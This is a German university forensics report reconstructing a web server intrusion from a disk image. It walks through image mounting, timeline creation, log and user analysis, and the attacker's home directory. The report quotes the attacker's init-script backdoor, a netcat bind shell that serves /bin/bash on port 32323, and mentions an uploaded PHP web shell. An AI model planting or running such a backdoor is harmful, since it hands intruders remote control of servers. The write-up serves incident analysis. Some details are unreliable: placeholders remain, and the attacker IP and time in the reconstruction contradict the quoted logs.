ingenieur
wissenschaften
htw saar

Hochschule für Technik und
Wirtschaft des Saarlandes

IT Forensik

PIBWI54

Marian Müller
Mike Franz
Michael Sebastian Koch
Urs Oberdorf

4. Februar 2015

Inhaltsverzeichnis

1 Aufgabenstellung

Der Betreiber eines Webservers hat am 29.01.2010 festgestellte, dass mit dem Server etwas nicht stimmt.
Am Vortag hat der Betreiber zuletzt gegen 22:15 Uhr Arbeiten am Webserver durchgeführt.

- Ein Image des Servers (ca. 3Gb) wurde erstellt.
- Das Image wurde mit bzip2 komprimiert (ca. 500 MB).
- MD5-Hashwert des Images:
  `4afc088a94dd6c36e750b7462e737162 img.dd`

Rekonstruieren Sie den Vorfall und erstellen Sie einen gerichtsverwertbaren Bericht.

2 Planung

Um den Vorfall zu bearbeiten wurden in einem Brainstorming Ideen gesammelt was alles überprüft werden sollte. Um den Untersuchungsablauf besser zu strukturieren, wurden diese anschließend kategorisiert und als Tests, welche durchgefuehrt werden sollen, umformulierten. Die Tests dienen als Untersuchungseinstiegspunkte da je nach Ergebniss ein dynamischer Fortgang zu erwarten ist.

- Timeline
  Um einen Überblick der Aktionnen auf dem Dateisystem zu erhalten soll eine Timeline erstellt werden.

- Logins
  Die Datei `/var/log/auth.log` soll auf Auffaelligkeiten überprüft werden. Sie enthält alle login und logout Ergeignisse von normalen Benutzern sowie System Prozessen. Es werden hieraus sich weiterführende Hinweise auf nicht authorisierte Zugriffe auf das System erhofft.

- Benutzer
  In den Dateien `/etc/shadow` und `/etc/passwd` sind alle Benutzer des Systems hinterlegt. Sollten Benutzer hier hinterlegt sein welche Auffaelligkeiten aufweisen wie Name oder Erstellungsdatum kann verfolgt werden was der Benutzer am System verändert hat.

- Module
  Die Datei `/proc/modules` listet alle geladenen Module des Systems. Sollten auffaellige Module geladen sein kann mittels Reverse Engineering deren Zweck ermittelt werden.

- Swap space
  In dieser Untersuchung wird der swap space nicht berücksichtigt.

3 Vorbereitung

Nach dem entpacken des Images wurden mit `fdisk -l image.dd` folgende Partitionsinformationen entnommen:

```
Disk image.dd: 3221 MB, 3221225472 bytes
255 heads, 63 sectors/track, 391 cylinders, total 6291456 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x0009d1b1

Device     Boot       Start         End      Blocks   Id  System
image.dd1   *             0     3518171     1759086   83  Linux
image.dd2           3518235     4305419      393592+  82  Linux swap
image.dd3           4305420     6281414      987997+   5  Extended
image.dd5           4305483     6281414      987966   83  Linux
```

Um die einzelnen Partitionen als Loopback Device mounten zu können muss ein Offset dem `losetup` Program übergeben werden. Dieser berechnet sich aus dem Startsektor sowie der Größe eines Sektors.

$$startsector * sectorsize = offset$$

Aus dieser Berechnung ergeben sich folgende `losetup`-Befehle:

```
losetup -v -r -o      32256 /dev/loop0 image.dd
losetup -v -r -o 1801336320 /dev/loop1 image.dd
losetup -v -r -o 2204407296 /dev/loop2 image.dd
```

Der Schalter `-r` verhindert, dass auf das Geraet geschrieben wird.

Um die Loopback Devices in das Dateisystem einzubinden muss mit `fsstat -t <Device>` das Dateisystem ermittelt werden. Angewendet auf die Geräte `/dev/loop0` und `/dev/loop2` gab das Program den Typ `ext3` an. Das Program gab weiterhin, angewendet auf das Gerät `/dev/loop1`, `Cannot determine file system type` zurück. Durch die vorherige Ausgabe von `fdisk` war aber bereits der Typ `swap` identifiziert.

Schließlich konnten die beiden Partitionen mit dem `ext3` Dateisystem mit `mount -t ext3 <Device>` eingebunden werden.

4 Timeline

Nachdem zwei Partitionen als Dateisysteme erkannt wurden, wurde eine Timeline über diese erstellt mit folgenden Befehlen:

```
fls -o      63 -f ext3 -m / -r image.dd >  body.txt
fls -o 4305483 -f ext3 -m / -r image.dd >> body.txt
```

Anschließend wurde für eine bessere Orientierung, eine Timestamp-Sortierung mit dem Program `mactime-sleuthkit` vorgenommen .

```
mactime-sleuthkit -b body.txt > tl.body.txt
```

5 Durchführung

5.1 Abarbeiten der Tests

Da der Geschädigte sagte, dass seine letzten Arbeiten am 28.01.2010 um 22:15 Uhr stattfanden bevor er gemerkt hat, dass mit dem Webserver etwas nicht stimmt, wurde im `auth.log` nach auffaelligen Logins, primär, nach diesem Zeitraum gesucht. Hier ein Auszug aus der Datei:

```
Jan 28 22:50:04 websrv useradd[2218]: new user: name=evil,
    UID=1001, GID=0, home=/home/evil, shell=/bin/bash
Jan 28 22:50:24 websrv sshd[2224]: pam_unix(sshd:auth):
    authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
    rhost=10.0.0.66  user=evil
Jan 28 22:50:27 websrv sshd[2224]: Failed password for evil
    from 10.0.0.66 port 60500 ssh2
Jan 28 22:50:33 websrv sshd[2224]: Failed password for evil
    from 10.0.0.66 port 60500 ssh2
Jan 28 22:56:35 websrv useradd[2229]: new user: name=evil2,
    UID=1002, GID=0, home=/home/evil, shell=/bin/bash
Jan 28 23:00:10 websrv useradd[2239]: new user: name=evil3,
    UID=1003, GID=0, home=/home/evil3, shell=/bin/bash
Jan 28 23:09:01 websrv CRON[2249]: pam_unix(cron:session):
    session opened for user root by (uid=0)
Jan 28 23:09:01 websrv CRON[2249]: pam_unix(cron:session):
    session closed for user root
Jan 28 23:17:01 websrv CRON[2291]: pam_unix(cron:session):
    session opened for user root by (uid=0)
Jan 28 23:17:01 websrv CRON[2291]: pam_unix(cron:session):
    session closed for user root
Jan 28 23:22:37 websrv passwd[2309]:
    pam_unix(passwd:chauthtok): password changed for evil
Jan 28 23:23:02 websrv sshd[2311]: Accepted password for evil
    from 10.0.0.66 port 57009 ssh2
Jan 28 23:23:02 websrv sshd[2311]: pam_unix(sshd:session):
    session opened for user evil by (uid=0)
Jan 28 23:29:11 websrv sshd[2311]: pam_unix(sshd:session):
    session closed for user evil
```

Als anschließend die datei `/etc/shadow` durchsucht wurde, wurden die Benutzer `evil, evil2` und `evil3` gefunden. Hier der Auszug:

Die Liste der geladenen Module in `/proc/modules` enhaelt keine Auffälligen.

5.2 Auswerten der Tests

Als erstes beschäftigte man sich mit den ungewöhnlichen Systembenutzern `evil, evil2` und `evil3`. Eine sofortige Auffälligkeit der drei Benutzer in der `/etc/shadow` Datei ist, dass sie im Feld der letzten Passwortänderung, den selben Wert aufweisen wie die Systembenutzer. Dies suggeriert den selben Erstellungszeitpunkt wie diese ist aber insofern unglaubwürdig da in der erstellten Timeline der letzte `modification/change` Timestamp der `/etc/shadow` Datei am `Thu Jan 28 2010 22:16:33` ist. Was wiederum widersprüchlich ist mit der `auth.log` Log-Datei in der ein neuer Benutzer namens `evil` erst `Jan 28 22:50:04` erstellt wurde. Es ist zum einen Möglich mit `root` Rechten die `/etc/shadow` Datei händisch zu manipulieren sodass beliebige Werte eingetragen werden können, weiterhin ist es mit relativ simplen C-Programmen möglich MAC-Timestamps zu manipulieren.

Eine weitere Auffälligkeit findet sich im Auszug der Ausgabe des Befehls `ls -lahd /home/`:

```
drwxr-xr-x 2 1001 root 4,0K Jan 28 2010 evil
drwxr-xr-x 2 1003 root 4,0K Jan 28 2010 evil3
```

Die Benutzer `evil` und `evil3` sind mit ihren `UIDs` und nicht Ihren Benutzernamen angezeigt. Des weiteren hat `evil2` kein eigenes Verzeichniss im `/home/` Directory. Ein Blick in die `/etc/passwd` Datei zeigt, dass sich die Benutzer `evil` und `evil2` ein `/home/`-Verzeichniss teilen.

```
evil:x:1001:0::/home/evil:/bin/bash
evil2:x:1002:0::/home/evil:/bin/bash
evil3:x:1003:0::/home/evil3:/bin/bash
```

Ein `ls -lah /home/evil/` zeigt folgende Ausgabe:

```
drwxr-xr-x 2 1001 root 4,0K Jan 28  2010 .
drwxr-xr-x 5 root root 4,0K Jan 28  2010 ..
-rw------- 1 1001 root  229 Jan 28  2010 .bash_history
-rw-r--r-- 1 1001 root  220 Mai 12  2008 .bash_logout
-rw-r--r-- 1 1001 root 3,1K Mai 12  2008 .bashrc
-rwxr-xr-x 1 1001 root 1,3K Jan 28  2010 bdstart.sh
-rwxr-xr-x 1 1001 root 1,9K Jan 28  2010 networking
-rw-r--r-- 1 1001 root  675 Mai 12  2008 .profile
```

Als erstes wurde die `networking` Datei näher betrachtet. Hierbei handelt es sich um ein Script welches wahrscheinlich das Original unter `/etc/init.d/` ersetzen soll. Sollte dies der Fall sein und das Skript wird mit dem Parameter `start` aufgerufen, wird folgende Zeile ausgeführt:

```
/usr/local/bin/mysudo "/var/www/upload/netcat -nvv -l -e /bin/bash -p 32323"
```

Diese Zeile führt das Program `mysudo` aus und öffnet eine `netcat` Listening Verbindung auf dem Port 32323 welche mit dem Schalter `-e` nach der Verbindung eine `bash` Shell öffnet. Über die `.bash_history` kann man die

Befehle welche der Benutzer absetzte einsehen:

```
ls
ls -l
mysudo whoami
cd /etc/init.d/
ls
touch bdstart.sh
cd
cp /etc/init.d/hostname.sh bdstart.sh
vim bdstart.sh
cp /etc/init.d/networking .
vim networking
mysudo "cp ./networking /etc/init.d/"
ls -l /etc/init.d/
ls -l /etc/
```

Der Umstand, dass diese ebenfalls von Angreifern modifizierbar ist muss berücksichtigt werden. Manipulationen an dieser Datei sind ist anhand der MAC-Timestamps nicht nachvollziehbar.

6 Rekonstruktion des Vorfalls

Die ersten fehlgeschlagenen Zugriffsversuche unternahm der Angreifer um referenz 22:14 Uhr von der IP-Adresse 10.0.0.6 über ssh. Anschließend wurden erfolgreiche Zugriffe auf den Webserver von der selben IP-Adresse im Access Log des Apache2 referenz gefunden. Der Angreifer hat dann die `upload.html` und `upload.php` gefunden und diese genutzt um die Dateien `config.php, phpshell.php` sowie `style.css` hochzuladen. Der Ordner `upload` in welchem diese Dateien gespeichert wurden besitzt die Rechte `read, write` und `execute` für jeden Benutzer referenz. Dieser Umstand sowie der deaktivierte `safe_mode` in `/etc/php5/apache2/php.ini` versetzten den Agreifer in die Lage eine PHP-Remote-Shell auszuführen.